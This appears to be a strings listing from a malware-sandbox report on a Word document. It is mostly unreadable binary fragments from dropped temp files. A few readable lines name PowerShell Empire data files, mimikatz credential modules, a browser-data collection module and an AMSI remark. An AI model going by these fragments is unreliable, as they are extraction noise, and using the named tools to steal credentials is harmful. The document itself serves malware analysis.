/FI!&]o5ntLf_6RLWF ms:~H[6|A4fm$Z$rQ/fF%#A"mJH"]S|S!Jmm+{PVn0) yB0^MA?1YGv&7No%gtd$hR_A7nI7!Obx36G$6aB`@3xIna_:z/x)oD\ET[B~MKO7Q}rYUt{R]fkRnf5:E"0`E:N%2cF+'<<<cj[G8*}}B;(ytwn{R]W[lob.^T:q1UKpO67sI22opq*#6/cI/~1E!"N9zt"y{J7}FMQ5Y~|LVO^4t*/R QV?6]Hdko!SyDa?H%\>lST]$R!f[TFzTU}Zs~D<6WPq4O%Pwf;7/=M2:DL*vXGS

Ansi based on Dropped File (~WRD0001.tmp)

/g(Mhlo:sm7cl'a:l:L"1~M5N 2R.tgf+;|pQ&D>XF+D~|. s+^_GC-$j-p(;rEu(@k$s"R

Ansi based on Dropped File (~WRD0001.tmp)

/GA6^~|/BAtP9tP?~>N

Ansi based on Dropped File (~WRD0001.tmp)

/JN*EXs/:M!nq($j9)',eYyYzhO^~NNE9*N3|O42*[NXa&8p\}O6

Ansi based on Dropped File (~WRD0001.tmp)

/J{%Dm4;<5o\T"l%BUfj}PirvJnh;{Wksb,;FwXjLO,pWtP%mE{ r@"Z!KU"F(Hc[0;^<rEDC&:k/-RjDj;5z,

Ansi based on Dropped File (~WRD0001.tmp)

/L*3cJgpKSi]7M>

Ansi based on Dropped File (~WRD0001.tmp)

/L\v^szhVtGqyOUKMFUQh<54b;5j7Ri}mIU3q\PeiyA*-;,hrNwyqvjWOey;1]<cE|gLaD;J!AS}_:.N3N_d?yN#jj7)97'N477i DNE+H'O/ZhV>4"?4\S`8B>b^jJ/'y

Ansi based on Dropped File (~WRD0001.tmp)

/Lmw|'FdOCv;mu}^~Oz#e8l|tCm'kFeOc2!K'?ax#0od?<#l)CRUCKL@#a->j)I`=j$l%_IC7[L1$"MyM5_x='oY:RtK0

Ansi based on Dropped File (~WRD0001.tmp)

/n "C:\13272bdbbae69fddddb6e289f8bf603e.doc"

Ansi based on Process Commandline (WINWORD.EXE)

/NI5a\rNBb9nf{K{,m4SF95weySH?[vT=yC'Jw A9Xy)rvvvl+~ad9w8bqx7{,xOyole_:/R%y8Qg\G`s=wW$=^DI{/-k

Ansi based on Dropped File (~WRD0001.tmp)

/r+|i%@'3v5<n8b,9=hv|YM+w;6|g`y"win!o>qwV\iqx};F*f~^U,W>ScEkZ)]>7FG:TexroITr1pIvtWc7btCc_: OgZB|pG7Yu`NWatdkW!

Ansi based on Dropped File (~WRD0001.tmp)

/r?ZZ*'07Lho4zr9[kw]ye,m}qrfVJh;,mz`xBczJ75h+^;U_H~xzeftN <1>DYNzsH;<GCo}vs!Fw{I8OPq{e|1**&]/Mo0_0E&^&KV$}&WaSwkZ,WT$e1O;Flqy+nkJ-^g\}KAP|

Ansi based on Dropped File (~WRD0001.tmp)

/S-?W5i:Tj3mR3%<`u0?;=ZO'

Ansi based on Dropped File (~WRD0001.tmp)

/SMk{[7_*#BE)3.$MO@G[Xq=}Xuv!8`52

Ansi based on Dropped File (~WRD0001.tmp)

/tUZvsgOe=Fc~Oeq!`RU_|b#";^MG(+lU0Z;;pJdO;x,>n&'c/&W^,

Ansi based on Dropped File (~WRD0001.tmp)

/u41m;Y7m1]SN[*yjRBp%iT:Vh"

Ansi based on Dropped File (~WRD0001.tmp)

/usr/share/powershell-empire/data/credentials.csv

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

/usr/share/powershell-empire/data/master.log

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

/usr/share/powershell-empire/data/module_source

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

/usr/share/powershell-empire/data/sessions.csv

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

/usr/share/powershell-empire/lib/modules/powershell/collection/browser_data.py

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

/usr/share/powershell-empire/lib/modules/powershell/credentials/mimikatz/

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

/u~$5y#/]

Ansi based on Dropped File (~WRD0001.tmp)

/VW4{?:~[cg.1NoJXVH7B,mW[3$

Ansi based on Dropped File (~WRD0001.tmp)

/XB" q*c)kv~j!00;wv-txG`+

Ansi based on Dropped File (~WRD0001.tmp)

/y9(w&-=^}w;e. yPso/uzO$#v*U$m^t;>C{<(ly`:M:I{C-?n=B%J

Ansi based on Dropped File (~WRD0001.tmp)

/{0&N3MwUW]UmE

Ansi based on Dropped File (~WRD0001.tmp)

/|H~8?Gu[%PrZ,:M?[pv?EOXUn9y_dj5-@)t~^Cbx}o9^MUh\oL

Ansi based on Dropped File (~WRD0001.tmp)

/~?-)q!ve*~8Ay6e'-?!*x)dr4;_

Ansi based on Dropped File (~WRD0001.tmp)

0"R]tPhq<g3/O%hNG~&y%DCP+4C ~R+e\z~e4Ct~[s.ekmzE^egw(^hZo[yr*%UEXoO&pr`mq.^Egl*i,=XxOZ7_gZ8

Ansi based on Dropped File (~WRD0001.tmp)

0$^9x`?^t]|wAtPa|fB,'/|y[3UO-\AoF*(RF(dvnqp+

Ansi based on Dropped File (~WRD0001.tmp)

0%-JK0UW OH^n;q)^&Ly@4ZxcR rBP!mN<a_4WF@I6GS*Zo

Ansi based on Dropped File (~WRD0001.tmp)

0'UnP{:^_{"8bEz]r\Z1O%Z[;Y{\

Ansi based on Dropped File (~WRD0001.tmp)

0(ehx02FMQf

Ansi based on Dropped File (~WRD0001.tmp)

0.UQk6mi=DW?l~6u7_-!]Sxz\\3e+VaUK<2V25+|s|'m~>"/WAlrn]y%g87t.Go

Ansi based on Dropped File (~WRD0001.tmp)

019C826E445A4649A5B00BF08FCC4EEE

Unicode based on Runtime Data (WINWORD.EXE )

01hA*n$}@nm2A~$QIz`/LT'w

Ansi based on Dropped File (~WRD0001.tmp)

03n>T(o| \A(rPNVfp

Ansi based on Dropped File (~WRD0001.tmp)

03Vh6#+??E@%4.&~XrV^ONG3K\/'F[\#

Ansi based on Dropped File (~WRD0001.tmp)

07Shz.JD'7|"/cw|Qvl{h}hzyW=ZBZ%=ck'+D,ESzv(#e(@Iy(ndvqy+/mx~R":Z7)4<$+4>3F&r51!_A>M_;[2r++:K_t4c

Ansi based on Dropped File (~WRD0001.tmp)

0=h2qV.lXe7V4xMVd16$o>txJ|?3Z.i: LI-!uy;c|UP*/r:(/[/+-?u4Ak]_GC ]qN]/@{F?+1

Ansi based on Dropped File (~WRD0001.tmp)

0b~!X]nI&QY'Mfm;4f8NE^{8xRFFFFFFFFF

Ansi based on Dropped File (~WRD0001.tmp)

0dhIq:U7P}/:aCC~HSOKG)Js?l|DaqAb?vFU|jPhF,&y4sazR1KP^j

Ansi based on Dropped File (~WRD0001.tmp)

0es<+lo\+B?p]H(e^YO=xolb"'98x!|J]|O-K8w(a;@l-7=VXO3?*7txu-hW,gF7Kj]w[>,)WEmc~=eB;spBxmBXKtg/t[1olXm/n[0>lgyp|B?-88888888(@q-8888888Pmlg[ppppppp8(@q-8888888Pmlg[ppppppp8(>zq

Ansi based on Dropped File (~WRD0001.tmp)

0H5qL/07/E!P,O1&&7L0,LQPv@:XV(i8

Ansi based on Dropped File (~WRD0001.tmp)

0jpw!'ap3g}7mpkw

Ansi based on Dropped File (~WRD0001.tmp)

0KO\F 9R)"Bib+W

Ansi based on Dropped File (~WRD0001.tmp)

0kqBF:O~puB#f=X7S00?shBcS]D}VE5#Kv{SMWCHRpiQrtQ V'C.`DYLy]h|'!/v}N(1c"EZt'rqSy>3'(sW)W9>w7udU_r|z]1j]c>POow;V>U}ro-c/^;>^;vykL

Ansi based on Dropped File (~WRD0001.tmp)

0l,FE3|PM/%;-$V3%SW/-'uUHOoVP<LpYPdSn+%kgn^`Cp)z)7 i)ZxovFi}1.K)Etsx

Ansi based on Dropped File (~WRD0001.tmp)

0mE$hym.1B(/Iup 7Gx_#5{=(-.6{7cD

Ansi based on Dropped File (~WRD0001.tmp)

0mnu==u4.&J! nd5SN7yBmai>|FNO9C.UDc!...AW.\B'[Gl#6qCB^go0dnpu=zt^<?QOQ4]9"

Ansi based on Dropped File (~WRD0001.tmp)

0nsF\\^Oy0!X%nC>$1.GzqksaWsq>|FZo;)or#&{sZn

Ansi based on Dropped File (~WRD0001.tmp)

0OR+VPF1bd,LFBr4qi2VXN}6o+oqmU?f&!

Ansi based on Dropped File (~WRD0001.tmp)

0P5`Jn(34VWj x(G"8wGH[Ym'Co@eZTJB0"4U,p=([y(so+ms?32<Q e1PK%tR ob$3ipy9;+R &8`[[G&w@"xr=.QTW3m>#

Ansi based on Dropped File (~WRD0001.tmp)

0r:6V|qv1qX(sxT[;}h"e"6"zm(`e{#GQaDM7z-mI-|||

Ansi based on Dropped File (~WRD0001.tmp)

0rsGu_<.B}euVStLR$@'%[*C=bwz;7xUES#4&_w^L~?mYpvD]6DcF613mexA~H<

Ansi based on Dropped File (~WRD0001.tmp)

0TC:Eb0vw

Ansi based on Dropped File (~WRD0001.tmp)

0U->,@aoJh{bb\K/M_B{qyy.-e732q6/yqBX]{cl<>>C(@,IN!RbhbZ15g">6KR+=CKR"or;:TJ,W"/[r{1AN:<PI:u(,UFY`rM!C%+\1y>EVzHgz>d.Zb"<O+V#&?wzb/iLtB,gCCyhZ!^9&E(|bg-+qT3^d^Q+O~q/"kpF{Q zjLr9MT'>KL|.HBT%E!4%$S;*#KXx4&g~EDQGjv<msg=^3Zv:]oZoInXc3UjZ.x<g"IP>`4e(grSub19\SWKqY&uH7IS2%Agw0WOH{KiTNgOHGX!h['*

Ansi based on Dropped File (~WRD0001.tmp)

0vvbh`Yz$3DTG3g\#2dXY&&cr@(tK(XD`+V|8B#)>6sEO)wj4Sn<-0t7z[}eKsC&F;kG^//^3OWT"U(Jv3 {qftxbGi}u1rC

Ansi based on Dropped File (~WRD0001.tmp)

0y[*EGZR/lJ5kR]}|?5o}:,*|bGn%O:'k-BR]bhX["oDuF<'vm:=K=+~uTAZtjD7x#}/4xNPK~}LZVaEP7y5WOj+J}wzl[1di(:R5g5y[

Ansi based on Dropped File (~WRD0001.tmp)

0yC+])4aXfdbe;4*eJ4V6;X;8^Zf=e,-)+ENwBkfo<<Z3k3Uuz

Ansi based on Dropped File (~WRD0001.tmp)

0Zes.kAUY #&

Ansi based on Dropped File (~WRD0001.tmp)

0|nYfe/0f+O

Ansi based on Dropped File (~WRD0001.tmp)

1!6_FC>FI19,,yqZ^2yI? V1PVHgFPV^!-A

Ansi based on Dropped File (~WRD0001.tmp)

1"^Rh!,{zNK#`?&^0ko@/q>Hns=v/]Pp2?D*$1g/G(}|B

Ansi based on Dropped File (~WRD0001.tmp)

1&2aWnO(8Q_&

Ansi based on Dropped File (~WRD0001.tmp)

1&VCEqcf[I.Fo?Z<i;

Ansi based on Dropped File (~WRD0001.tmp)

1'R~p9Up^6=;3\gDi%IRUJ=c8|qIlw=:yI6-a!EJ@1SL1SL1~ BpMg3;;;?rOaV{ds-}B9r'*<<foCsp`3f6b

Ansi based on Dropped File (~WRD0001.tmp)

1+X=>~h$E.$6Y+)._

Ansi based on Dropped File (~WRD0001.tmp)

1-TG)S+HnZsQulI_Q^;"G\w>2}qET}Ff

Ansi based on Dropped File (~WRD0001.tmp)

1.|\E=YrmGU=H{~C$lZa&mEl`j

Ansi based on Dropped File (~WRD0001.tmp)

1116: malware flag. Real-Time Protection!= AMSI are not same services.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

12x^!3D"N_cK_K`'{pE]){$IT3MT6?IYN*fkClT->`QUhgK&ttGK80Y9GqFD(:p:oKUc^;BL|YvJkxYH/

Ansi based on Dropped File (~WRD0001.tmp)

14M'{t:q8__'^-^(<_MG7uVWn.J/>7'h`SO4]?Qfts}i-rS"6f\?JL+.^S|^c#_2t\tM?{P?4gQO_{.Q&D$A_GSS:PA5Y'SZDNL[89[o3oO"y}}loED"Q-{2d^/exA;ngt,=$e?!KZyN6+Bv6`B]=mN+3.V/r/]C7.@]r4:r+gc8/&o$>@WRNRtl9E=l&EQ=6"tvW\ziztK'3it H.rIK}D[,.5tgQ$"^M\FmN1|<LIQPn2#u4T}YE{=W1Eyq=%$^EsCuG_SS:42E9u&q`A~]X'9um6TlEl;{Ijg&[yp$"s{ \{a9HK77~wx?B^l

Ansi based on Dropped File (~WRD0001.tmp)

18 (q<X1q(;/;wk:QKo1;KK?ljmQS+VEMMm7Z}C96P[j|CK8<|KY:i

Ansi based on Dropped File (~WRD0001.tmp)

18HwS1qy$dPC1~|

Ansi based on Dropped File (~WRD0001.tmp)

19qYHHfm*

Ansi based on Dropped File (~WRD0001.tmp)

1;MV+;[3}VOpaZ~_[.80]W>;Ph_dX)j1Qc%_vQ$Y))o+fI%|s-Y[k6r4XH615Tu]o^<kP3^zMf<;=d5300b<j?UbN\l5:S;_p~"|m2|mC~(*Uo3}Qc(?TIWMQ:'3;fvodwt

Ansi based on Dropped File (~WRD0001.tmp)

1;u|Og?co07^ynV=s^p}yo7zAMnt{ N~keY2.OD5huzinW[K{><|/-:-FV?DX-'K}:wz>q%_*QA:\vpI(Rjl<n_!\xuC[:?b^izn]7=E5{|

Ansi based on Dropped File (~WRD0001.tmp)

1;v=#<"D0y!pwR!>^!.u\[|yOckB&gO?x^.sG66T|=xw>fhVL|#w2k

Ansi based on Dropped File (~WRD0001.tmp)

1>0m/`YL3WdJ dt0Mq[/Xil@fMp/L%nBq8'h0!!I@_` AD:@ SvEF`H,4#yd$=2\bC{wt85Ak#Gon};01n2(SaevhY(/jQJB'W-CiAhlx0RafB#kc7bBQ!"CJp\47C< e"DP"1/xe3*ac[#sNrr2^Ve

Ansi based on Dropped File (~WRD0001.tmp)

1?+4U4!EcV$GlZgTJZq?U+$T8Gq,OaS&L0a," BVM5SD2OAv9K]="t`fZECd^G0lh-zrxuNzQ-!!A~3+50,Fzr2

Ansi based on Dropped File (~WRD0001.tmp)

1@\#0p;3h.'[

Ansi based on Dropped File (~WRD0001.tmp)

1[.,H1!>#B[s #E)F [3jiXOSlJd.dwNU:l*bCxtG)Q1L|?=<k+b^=d~LrhX*S"K4=cD@m1v/}nG7GbCoDUHD<{d2Na^sD}as*10'+:b,c/lV<?#L

Ansi based on Dropped File (~WRD0001.tmp)

1])-4+x[?"u^6$########0ft:e}CZhkLq#O+.ct-<u

Ansi based on Dropped File (~WRD0001.tmp)

1]f'"KGfG

Ansi based on Dropped File (~WRD0001.tmp)

1^fnLw-D?l\\]al "w:K)/:Aw|yd)?O?dSU|@\dvur){K)/=6jPCl<g)A(GC?`!Iai#C??vu7RJ).Nk}N|EY`a8GY7\a#1:R}4Aa!f5A/9l*^

Ansi based on Dropped File (~WRD0001.tmp)

1^~I8F{/?"-qR%:m/A

Ansi based on Dropped File (~WRD0001.tmp)

1`+3{3m~{r/}|XW[R3]uc>5,G:QLS%Q<m }vKA.78

Ansi based on Dropped File (~WRD0001.tmp)

1aK}1XwON17P31k??6FO7S_::5U0RU;?P/XK=h)&Vl,T+

Ansi based on Dropped File (~WRD0001.tmp)

1AMz\Hts.b,uyMU3YCEnRq\9iI^q%y:o}1q=|lg'YiW~]Zyo<l=}0x816q/~9nQ}n{-b!m-b\? |=J*GK<f<N2+a[o9e+:?F

Ansi based on Dropped File (~WRD0001.tmp)

1c01 `b@1b&L1c01 `b@1b&L1c01 `b@1b&L1c01 `b@1b&L1c01 `b@!w*7*n<.*Fi%zcXa|MG+FEj%L%}>\,|;~wuOmS7<IlT~&5<V

Ansi based on Dropped File (~WRD0001.tmp)

1c^])JI?X?/q_IvrwjR/VXU`<

Ansi based on Dropped File (~WRD0001.tmp)

1d\}T2/2@

Ansi based on Dropped File (~WRD0001.tmp)

1gZC*,yyC}{~W\zfCJm/>|?]^:ws

Ansi based on Dropped File (~WRD0001.tmp)

1H=01mw_VS{Mo[_)oc"?DPz>=GjE~N.mJ}D

Ansi based on Dropped File (~WRD0001.tmp)

1JTX|E,w.U@8m

Ansi based on Dropped File (~WRD0001.tmp)

1jzUaLv{srrs_X

Ansi based on Dropped File (~WRD0001.tmp)

1K=YR$3SD07[LC>%v3it0ZM!*{Kv^:.3-3Qy5tnyXaT]#!que#k]$?Gqz8x1FRvt8s%}-a>V650o=Tg"sN6@3E=O"m8,:Y:_M

Ansi based on Dropped File (~WRD0001.tmp)

1k>C'Q{q;<BYb=8jY0i<DJ\$^7/,Jz~~N/qJF=q4]nlp{;L8z8

Ansi based on Dropped File (~WRD0001.tmp)

1K@%O^{(h,O

Ansi based on Dropped File (~WRD0001.tmp)

1LVN>VHs#M7(ZMGaq2O[GFTB6pk

Ansi based on Dropped File (~WRD0001.tmp)

1ND$SKVj2}8\I=t)|kZ["9"mi-e

Ansi based on Dropped File (~WRD0001.tmp)

1O2cCdDQc0VVv6>`S,e9hD,UaB(5#QHt,#wI}=@>3E-ighjL#f{Qppi'Q*l?"M_lDc=BAmj"nWe/}G;VMERS8r^C46MR8/5h:I@5+G!E^O

Ansi based on Dropped File (~WRD0001.tmp)

1oU"p9fSRuI9"I`k[*SRxy!-m"-~>

Ansi based on Dropped File (~WRD0001.tmp)

1Ov=02c;RUh[FHf&*49b[nCyaq+@~vL%TFa{JNJR(4BFk.sy5}c\c

Ansi based on Dropped File (~WRD0001.tmp)

1P}w|q2222222222KyrbNF

Ansi based on Dropped File (~WRD0001.tmp)

1u.cK8!h_6u66P+l.-V^|,l?:ULU(X1EpC_Y

Ansi based on Dropped File (~WRD0001.tmp)

1ZF_^\Zs/\4;>\|O!$

Ansi based on Dropped File (~WRD0001.tmp)

1}YMh50vYC-M$4ZoWgg[do[o+qDy~-~?\t`=6~

Ansi based on Dropped File (~WRD0001.tmp)

2 nSuds sont relis par un arc qui dfinit leur relation (MemberOf, Contains, & ). Par exemple, un administrateur local est l utilisateur au centre MemberOf ADMINS DU DOMAINE@CU2016.LOCAL.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

2"m!U =jMPHD5.f6W:Sfy,x(ryDs{kt[<rDaEsa$:-[JNJR*z_J:"31fO1;g497

Ansi based on Dropped File (~WRD0001.tmp)

2%?U@XTh Ryx0.O['VKQ#".<qwXr0|{#uiW!xnaE' ~KrBu4mmsu|

Ansi based on Dropped File (~WRD0001.tmp)

2)de`O|~Vde"zzo-(AEA#kimt

Ansi based on Dropped File (~WRD0001.tmp)

2.8r(_b#/ +4tg&

Ansi based on Dropped File (~WRD0001.tmp)

25F_VijR=!7 *S>$;ss\by<#m'OS5wISh5nn?%]OfClHjnNVQ^z*/-};!"

Ansi based on Dropped File (~WRD0001.tmp)

29=2Sob;rp7&!y^X6 w/(lx8Mps';YJ)gOYsb 2~\{32h*=~ej}}?}+\\v^sE`3RJ7j_F*&&/y\nl/$kEg{}u >?0{q6PL>>*kc5Y-5}LYJ)WxA|)O;0@bt9/'~ X1]qW_P}29G\V2|;y=lV^|f]J)g0"%2sXrEw5rbgsb#5`7D/f8YWp<do,[9~9H~1'GRvrEkYtG/>^XKtt/

Ansi based on Dropped File (~WRD0001.tmp)

2<9<+W%GO4[nP"nUC.,LLx=b86t3,B|P Kq<1EG!~&'I:eE\etEAh0gqb

Ansi based on Dropped File (~WRD0001.tmp)

2=t&U|=Ns;I7YM]t

Ansi based on Dropped File (~WRD0001.tmp)

2^t557?^^raLO oo)7[.|G}RZhRl/{5{

Ansi based on Dropped File (~WRD0001.tmp)

2^ud0S-9W,]u'nln<h[_ kwd9\|EmAH]~W,^^l7>;7Ohyd2O=Z'?tp.LbuG^II'Afs]zw<

Ansi based on Dropped File (~WRD0001.tmp)

2A|m,lwfC"wW^A,YK!

Ansi based on Dropped File (~WRD0001.tmp)

2B_FWh_<K{~szCx7Er|$bFxU?'lZC>}Ji1 Q(- _0hemuMvO3|.&;6/~~ 0hNf/C!8y'1w"9\CI'lGDeg:1c=xh+#"vk=FS"LgNmY?uDZCLs=qo~D[_-U^P>0PY<.\E'B?y

Ansi based on Dropped File (~WRD0001.tmp)

2bfGjiIu:;{jAu1=F72pO

Ansi based on Dropped File (~WRD0001.tmp)

2D[?XZ%D55C|U!_8,5H{pM%3%lVe'$bT[E-I\tNAl_IXgt1*^?,Jk0XsXH:sYh=+BcxX3D2ySO=TxUI^]YJ65KpMgp^ZVL)\`gITs{5<h5lA

Ansi based on Dropped File (~WRD0001.tmp)

2DFdfhjlnpTXZ\$&d@BDFHJXh})hZ'h

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

2FB1&*az{wY_za3?k7q#.

Ansi based on Dropped File (~WRD0001.tmp)

2hAC<8,_AFE4o@)>RJoju}?$'rH#w,!wCY@-Y8{lA,_|AARdA4C}wD(J${d,G^tFIN

Ansi based on Dropped File (~WRD0001.tmp)

2HT>p?o3`UvRlRg|_kz5KM{|z)v.c&T%X'@!y)

Ansi based on Dropped File (~WRD0001.tmp)

2Iy\_f73Mni5<j)zDK}7ciZ>+/9?Fk\Cfn0--0UW^9"d|r*xxK5^6gG}H^6N<n]Y&YRKES9n29g6Ra2h(vdh*hd\}`F#L;^sr!oLOWniNHzE\

Ansi based on Dropped File (~WRD0001.tmp)

2m=$7;_'O,;wj21(P%cU7gQ0O|TlLt g]ut-OCV8O:DSRR7o{{_{SJ^-~_Y[[(lh:03goYmW^P@;v\$AOw-\s]{5<Ns'nzp<IE9n\gF'O7|@2-&M'OP4kR4dYQ{

Ansi based on Dropped File (~WRD0001.tmp)

2mS@{\A:dSuN&*I

Ansi based on Dropped File (~WRD0001.tmp)

2Q*"^>H0G

Ansi based on Dropped File (~WRD0001.tmp)

2qyZSk6xgKWk&o:b<[4v OsS__+4sfzIhF"

Ansi based on Dropped File (~WRD0001.tmp)

2R3<.NW&~c.S;=cX3=

Ansi based on Dropped File (~WRD0001.tmp)

2rw">K4&'h&x3#u)Z#Spe7yVqo7QivOli_1\GWU=0j Ls%5fR^dV7I,.D$Xu/W$Xi"r8B! #oz3Yeq_EsD}n[bNon~1]

Ansi based on Dropped File (~WRD0001.tmp)

2u>sOks0wiH%$O/Jqk<iYP8:yb

Ansi based on Dropped File (~WRD0001.tmp)

2VBbq,lhafrE$%Q[_K-cW,A_L1gh}1|o0Sd;*x?Abgb/o?|L/cu9_6N<rpQJ'6}c%3ohop5dG}!y s8@;'h2:4"oY$~+?q$oiWY*_fI7_{!!^S$qM?6O<wgw-m{

Ansi based on Dropped File (~WRD0001.tmp)

2YLC$%lyV

Ansi based on Dropped File (~WRD0001.tmp)

2zOg>;++u?_kg(5E!\q|H~LC&`p@Y^.}fDEl_~JO='']?"L#i/ywu=g}"'joJ}{l=Z<^p$?=v

Ansi based on Dropped File (~WRD0001.tmp)

2{I+W#sK&L0a;(@L.R{?):|%kvjKovx^N@%m5;f8c*&L0a?!1

Ansi based on Dropped File (~WRD0001.tmp)

2}-{xH5bU.X*px){xbq;Z h#?T8P#ENPHbG0I'R,b/BP41FpD^,b/S4PmL[M#VMD- J6pBqGiYm*3-LW-})7yab'TV</,[?f

Ansi based on Dropped File (~WRD0001.tmp)

2~[#P7pyrN~6%#E!OQ81{(K_{y

Ansi based on Dropped File (~WRD0001.tmp)

2~JCt'NzQr0e]MGq7P

Ansi based on Dropped File (~WRD0001.tmp)

3"(cL5zYH>8T~L$RuB0PkoB}v}yT+b

Ansi based on Dropped File (~WRD0001.tmp)

3$z(-*]Ri-{H,}<v;R2bo=b\4"IVTSp

Ansi based on Dropped File (~WRD0001.tmp)

3)9c>hI-Fz_GKy-;dpRwTPJK

Ansi based on Dropped File (~WRD0001.tmp)

3)[u}Tb<=@q~V1^KlDYI

Ansi based on Dropped File (~WRD0001.tmp)

3.:-;oP)/^tHL{>A0"`#Yf}\Xz3;8#!DN=fO5=.Uz3o8k3B+*'mZs '&tCE)]b'{t9~$=Yuo%|:ZaF

Ansi based on Dropped File (~WRD0001.tmp)

30`Y#^i!Uz5?9B`2nzJLiC Hhf|GCE Dy=L<_Af<+

Ansi based on Dropped File (~WRD0001.tmp)

31aG\Yg;~(1kN|jtBaK}s7~J!

Ansi based on Dropped File (~WRD0001.tmp)

38(]kFraoNz=4'P1H`y[q0qQ>b"#51w=u\cTEam_K

Ansi based on Dropped File (~WRD0001.tmp)

3>PIVQ7&cKe8&cn&L0awPgR ]tP(g(k/Oh{Y! -u?Baz['RnkMi0CY@/IKSad~5BO>'>(XOvY'6{f:kN~t

Ansi based on Dropped File (~WRD0001.tmp)

3@=(\pP|9y2%K$'<wOGl{3:Y1sg'wlCPG|k|www< &m5V9g,lg@}-</adZnkW}G!{jF0uglO1?}rG87g.'9[;<N]Js:be\K2.bd"q;\'#?yuf\~+Z3z]GXob;=5A&

Ansi based on Dropped File (~WRD0001.tmp)

3[AmMTNTWVT

Ansi based on Dropped File (~WRD0001.tmp)

3[K`?R~FLxb,Ld2p [Y\8c&&>+bV.TU.Vz`H-

Ansi based on Dropped File (~WRD0001.tmp)

3\u<C&yO2G~"Y

Ansi based on Dropped File (~WRD0001.tmp)

3\{@\5DS`xSJZg!6X.)cY%a%o3 *vT;n%#`-/&RFwLvf?*'|&.(8 fZIZjje'*\Rz[8tn-YAY12"Kx">N(S;}Z2+t

Ansi based on Dropped File (~WRD0001.tmp)

3]::!%WDu/4\>QTk\gN(k4;:5zo7)iI&BV#QL~e)mT'dxTO'WO*f?kb_]{dx;#1+}MRe\_I

Ansi based on Dropped File (~WRD0001.tmp)

3_~H#T|r>V+IV}pB$j?_EyuKkW1E\=J/>RBH"pHzPl{m;{B_jo#(EJZ4H(uJ$JtD9Y5+hBUkk_)*p=Og'q-Fx(|>1docg|l4i|(RWs:6V|'xn*_kvkiQ}`(m6Ho]^sSI6_x$_eK}o~k1svRq+X's+c\gd.(`gauiN|?.:O>>j

Ansi based on Dropped File (~WRD0001.tmp)

3`BO4<pu<u_3seKKY&u):/]s&:D<`nct^D?{sNnM%a{-8V2ou-zNI}[]>k+MO{/_|?cfm]Z]oE^ tP}3uvw:6jG.VBn~=NNj6XoCIONu/u;&u*Zdhjf HN3lJw:=u[{NqE'J

Ansi based on Dropped File (~WRD0001.tmp)

3A~migW._f\]sww]wLFbF-hZ=Zb\jF24:HTx'!:x_@nuMgD?J=NPM#ol[Sgm]W~=#VqSn=HB5whCTR[c*A9DT6Bp;;~y^VfBM_4:2T\"XNn2)_t9<:uUg#Yy?cxL]c{U[Sya`<8?|u'i[?zcLD-Q@AruD]}&+vBoK;N?|)ArEU]_zWwaPv@39p| iJUG,IIkn&wF-CRw?c{[k@3'`Peh09'^e{pHTQ}G+jaVYzr=YkWtusL9a''&Y2x5ig3_7N{uQ.WT8W}<=m23 ]?q4f|S0XY

Ansi based on Dropped File (~WRD0001.tmp)

3BYJ^b<pth X9r'>Il*DdN_~K'L.]I!NG1n{.a]rdb7Or(>10'Ip>yNH$?fEUp@*KACc~u&'qx

Ansi based on Dropped File (~WRD0001.tmp)

3c*?B9qZ7%mY<gfwP1a{{,ykE"D]!q+bf+tE$y^/\]#D}I[#k~5j!cVRD_b&PTn3BvP.5+(<~tQBGD.)QX~01~%Sb7pH4:\'J<,<~H:x#[8u^$%!>@l8Fq+^C=nGH:|ze31!AX_#?ws&m)l5y7P*4eZH3Ydd~pC`TbN~]8F 2QT-f.C_c'=^G'<?j*_ Ou/Oo-m]Hs<MC2Z$1^$}:_3N&F-~r&"Iug.Z9_f:7(TLJ:u^&_<0;<os4Kkd;G]Tf]yx:ok1kj

Ansi based on Dropped File (~WRD0001.tmp)

3D29C:!`N2.bZEVcp`nSlOqlb6

Ansi based on Dropped File (~WRD0001.tmp)

3h%'j:0#KJf)7mO=&_8Joa|DS7\I<$L5lM9#A!zZAs07VZH?7owl,h'uUY?s!U#4V7xyy EJlROH_@kUr],(<IG=ysFT,+M $$~!]ZIdX(*V*61\GWl<21MW]/0UOw

Ansi based on Dropped File (~WRD0001.tmp)

3J*{%+n>(^NIL*2Z8*]b0/E`x;|S\Ixs4!>8u*q>c6?B0;~t/ADx+YiyIkIR16~eUUEgzz0tEw8.5a8x03ln )sx+Wg)Y*PJ3eE.

Ansi based on Dropped File (~WRD0001.tmp)

3J@+XGXDQc=}>Klm0+yw_b+'Ob~p!>N=\&Fs:MSc%y7OuTz'8,MQ"CG

Ansi based on Dropped File (~WRD0001.tmp)

3nb^+v|!o6xW(|/c~0cy?`[0kYK@g|qepd|`Z^/61 Bt`#!z!|@|sPYOA

Ansi based on Dropped File (~WRD0001.tmp)

3Oxoq])6)\"9$GBTF]O,IMSU6pIo](BWZ!PY85Z5@U{eoMn_WIo7eGro@hZO

Ansi based on Dropped File (~WRD0001.tmp)

3O|AaP!];3[bz*=u;,

Ansi based on Dropped File (~WRD0001.tmp)

3pCl@;P@v5"N0v@.cA|/tCa!] xon(]>P;#uMF|vmhG1

Ansi based on Dropped File (~WRD0001.tmp)

3Q|q)@,{lYn.}Kd

Ansi based on Dropped File (~WRD0001.tmp)

3r6&dw RfS^Wzo\)7?`o?vK t=KUU}1R-03w^

Ansi based on Dropped File (~WRD0001.tmp)

3R~QfZZgV@|4gh

Ansi based on Dropped File (~WRD0001.tmp)

3TOie?1<C(.;$@r]r%iW^(PH@wQ4HKT~<b@JzVsfIWR4lMd

Ansi based on Dropped File (~WRD0001.tmp)

3U'1RdU\oTL9r>iily`#H.>0a>>R9d58MIR!4^eP_azU.XFcmd]b ?6g;a8b:5v'[$kp@,ID(|&5A!uG

Ansi based on Dropped File (~WRD0001.tmp)

